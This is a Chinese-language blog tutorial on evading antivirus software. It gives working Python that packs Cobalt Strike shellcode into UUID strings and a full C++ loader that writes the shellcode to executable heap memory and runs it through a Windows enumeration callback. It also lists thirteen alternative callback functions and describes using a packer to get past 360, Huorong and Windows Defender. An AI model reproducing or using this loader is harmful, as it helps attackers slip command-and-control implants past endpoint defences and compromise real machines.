1. 前言
话不多说 今年目标发10
篇免杀的小技巧!ok,今天给分享的是2018年就用在hvv
的免杀技巧了:uuid
+结合c语言的回调函数+壳免杀,写入内存进行免杀。
参考文章
https://research.nccgroup.com/2021/01/23/rift-analysing-a-lazarus-shellcode-execution-method
本文在参考文章基础之上做了一些改进。
2. UUID是啥
UUID
: 通用唯一标识符 ( Universally Unique Identifier ), 对于所有的UUID
它可以保证在空间和时间上的唯一性.。它是通过MAC
地址, 时间戳, 命名空间, 随机数, 伪随机数来保证生成ID
的唯一性, 有着固定的大小( 128 bit
).。它的唯一性和一致性特点使得可以无需注册过程就能够产生一个新的UUID
。 UUID
可以被用作多种用途, 既可以用来短时间内标记一个对象, 也可以可靠的辨别网络中的持久性对象。
总结一下就是你的mac
地址 ipv4
都是在内存里面的,以二进制的方式写入内存也是理所当然的(这里可以思考一下是否可以把shellcode
转成mac
地址的方式或者ipv4
的格式写入内存)
3. 免杀流程
3.1 cs4.3生成x64的payload
这里我就不截图了,很简单!
3.2 将payload转换为uuid的格式
网上有很多python
写的,但是很多不加\x00
补齐,容易导致后期编译程序报错。使用下面的代码可以直接自动补齐:
buf = b'''''' #shellcode import uuid def convertToUUID(shellcode): if len(shellcode)%16 !=0: print("\n[*] length:",len(shellcode)+(16-(len(shellcode)%16))) addNullbyte = b"\x00" * (16-(len(shellcode)%16)) shellcode += addNullbyte uuids = [] for i in range(0,len(shellcode),16): uuidString = str(uuid.UUID(bytes_le=shellcode[i:i+16])) uuids.append(uuidString.replace("'","\"")) return uuids u = convertToUUID(buf) print(str(u).replace("'","\""))
3.3uuid写入内存(重点来了)
首先讲一下普通shellcode
加载:首先正常情况就是写入内存,通常情况下是通过使用windows
的api
将shellcode
加载的。但是大部分敏感参数早就是上了杀软的单名单,甚至包括一些执行权限,以及前几年绕过沙箱的sleep()函数等。可以说你敢用杀软就敢杀, 所以常规的加载方式是肯定不行的!
简单讲一下回调函数是什么: 首先使用回调函数必须要知道函数指针,这里我就不详细解了,不懂需要去看c、c++
的指针和回调函数详解。
回调函数的定义: 通过函数指针调用的函数就是回调函数,就是你把函数的指针作为参数传递给另一个参数。这个指针就被用来调用所指向的函数时也就callback function
。也就是说,有些库函数要求我们程序需要先给它传递一个参数,才能实现功能,大部分的库函数是不需要传参数。
再打个比方:在酒店,酒店提供叫醒服务,可以通过打电话或者派遣服务员又或者其它的方式,这个叫醒的行为我们可以理解为函数库。选择叫醒方式是我们自己定的,我们会把我们想要的方式反馈给酒店,这个反馈的行为就是回调函数!
#include <Windows.h> #include <Rpc.h> #include <iostream> #pragma comment(lib, "Rpcrt4.lib") //将转换后的shellcode放入 const char* uuids[] = { "e48348fc-e8f0-00c8-0000-415141505251", "d2314856-4865-528b-6048-8b5218488b52", "322e3231-3931-0000-0000-000000000000", }; int main() { HANDLE hc = HeapCreate(HEAP_CREATE_ENABLE_EXECUTE, 0, 0);//在进程的虚拟地址空间中保留空间 void* ha = HeapAlloc(hc, 0, 0x100000);//申请内存 DWORD_PTR hptr = (DWORD_PTR)ha; int elems = sizeof(uuids) / sizeof(uuids[0]); for (int i = 0; i < elems; i++) { RPC_STATUS status = UuidFromStringA((RPC_CSTR)uuids[i], (UUID*)hptr);//UUID转换为原来的shellcode写入内存 if (status != RPC_S_OK) { printf("UuidFromStringA() != S_OK\n"); CloseHandle(ha); return -1; } hptr += 16; } printf("[*] Hexdump: "); for (int i = 0; i < elems * 16; i++) { printf("%02X ", ((unsigned char*)ha)[i]); } EnumSystemLocalesA((LOCALE_ENUMPROCA)ha, 0);//枚举操作系统上安装或支持的语言环境 CloseHandle(ha); return 0; }
4. 回调函数进行shellcode注入
通过回调函数进行shellcode
注入,支持以下13
种方法:
1. EnumTimeFormatsA 2. EnumWindows 3. EnumDesktopWindows 4. EnumDateFormatsA 5. EnumChildWindows 6. EnumThreadWindows 7. EnumSystemLocalesA 8. EnumSystemGeoID 9. EnumSystemLanguageGroupsA 10. EnumUILanguagesA 11. EnumSystemCodePagesA 12. EnumDesktopsW 13. EnumSystemCodePagesW
也就是说上面的代码中的EnumSystemLocalesA
是可以换成列举的13
种方法的任意一种,但是要注意:不是直接替换函数需要对照函数的参数来修改,需要参考库函数的格式。
代码就不多说了展示一下编译的配置吧 如果vs
的编译有问题执行也会有问题,这里是x64 debug
代码生成参考:
鼠标右键点击main.cpp
选择属性,运行库选择错误会导致有些系统报错dll错误。
5. 免杀效果
结论:生成的exe
会被 windows defender
拦截查杀(火绒和360是ok的)
5.1 Bypass 360
5.2 Bypass火绒
5.3 CS上线测试
cs
正常上线
5.4 Bypass Windows Defender
今天必须把windows defender
过了,这里采用加壳的方式进行混淆:
使用se
的壳(加密区域全部选择默认的 同理会汇编的师傅可以尝试修改一些选项)
没加壳之前 直接被windows defender
直接查杀:
加壳之后效果展示(火绒和360都未报毒,注意此处过windows defender
仅仅只是静态,动态还是不行的
,依旧被查杀)
所以我通过修改了原有代码,这里的我不会展示修改之后的代码,方法很简单就留给各位师傅自己思考了,由于不涉及过于底层的函数,就当图个乐看看吧!这是修改代码之后编译+壳,有趣的是纯编译之后静态的windows defender
也过了,加壳之后动静都是可以过的,具体代码需要自己思考,一个很小的细节就可以成功过掉了!
6. 总结
360、火绒之类的,个人的观点:属于比较low
的杀软了!玩笑话就是有手就行,但是针对edr
或者企业级杀软
,上面那些伎俩远远不够,还需要将底层的东西学会,免杀的方式有很多!但个人建议还是不要使用工具,多敲代码(c语言是必须要会的),多看关于api
和内核的书(深入解析windows
操作系统第七卷), 也推荐大家学习go
和nim
语言,之后应该会出一个nim
或者go
的免杀。